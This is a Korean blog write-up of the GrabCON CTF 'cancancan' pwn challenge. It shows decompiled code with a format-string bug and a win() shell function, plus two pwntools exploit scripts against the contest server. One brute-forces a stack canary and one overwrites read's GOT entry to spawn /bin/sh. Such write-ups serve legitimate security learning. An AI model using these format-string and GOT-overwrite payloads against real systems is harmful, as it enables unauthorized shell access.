728x90
GrabCON CTF
그다음 문제~! 문제 파일 이름은 cancancan이었습니다.
CODE
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("can you bypass me???");
vuln();
return 0;
}
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
int win()
{
return system("/bin/sh");
}
어찌어찌해서 win함수를 실행시키면 될 것 같습니다. 사실 이 문제에서 삽질을 좀 했는데 vuln함수를 보면 딱 2번 반복해서 입력을 받고 위의 사진에서 딱 알맞게 스택 카나리가 걸려있어서 저는 무조건 카나리 릭하는 문제이라고 생각해서 허튼짓을 좀 했습니다 ㅠㅠ 실제로 아래와 같은 코드를 짜 시도한 사람도 있었습니다. 아래 코드는 카나리 릭을 브로드 포스로 푸는 코드입니다.
더보기
from pwn import *
context.log_level = 'error'
ERROR = "*** stack smashing detected ***"
i = 1
while True:
s = remote("35.246.42.94", 31337)
offset = f"%{i}$x"
s.recvline()
# STAGE 1
payload1 = offset.encode()
s.sendline(payload1)
canary = s.recv()[2:-1]
canary = canary + b'0'*(8-len(canary))
canary = p32(int(canary, 16))
# STAGE 2
payload2 = b'A'*100
payload2 += canary
payload2 += b'B'*12
payload2 += p32(0x08049408) # RET
payload2 += p32(0x08049236) # WIN
s.sendline(payload2)
try:
result = s.recvline().decode()
print(f"offset {i} failed")
s.close()
i += 1
except:
s.interactive()
s.close()
break
하지만 결국 잘 보면 printf(buf); 에서 FSB가 터지고 있네요. 그렇다면 매우 빠르게 문제가 풀립니다.
위와 같이 입력하여 offset이 6이라는 것을 알아냈습니다. 이제 그러면 저는 read_got를 win함수로 바꿔주겠습니다.
코드는 아래와 같습니다.
소스코드
더보기
from pwn import *
#context.log_level = 'debug'
p = remote('35.246.42.94',31337)
elf = ELF('./cancancan')
payload = fmtstr_payload(6, {elf.got['read']:elf.symbols['win']})
pause()
p.sendline(payload)
p.interactive()
다음부턴 카나리에 연연하지 않겠습니다...ㅠ
728x90
'해킹 > 시스템해킹' 카테고리의 다른 글
[시스템해킹] HackCTF < Basic_BOF #1 > (0) | 2021.09.09 |
---|---|
[시스템해킹] GrabCON Pwn CTF? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON easy_bin write up (0) | 2021.09.09 |
[시스템해킹] Buffer Overflow(BOF) (0) | 2021.09.09 |
[시스템해킹] HackCTF < Basic_BOF #1 > (0) | 2021.09.09 |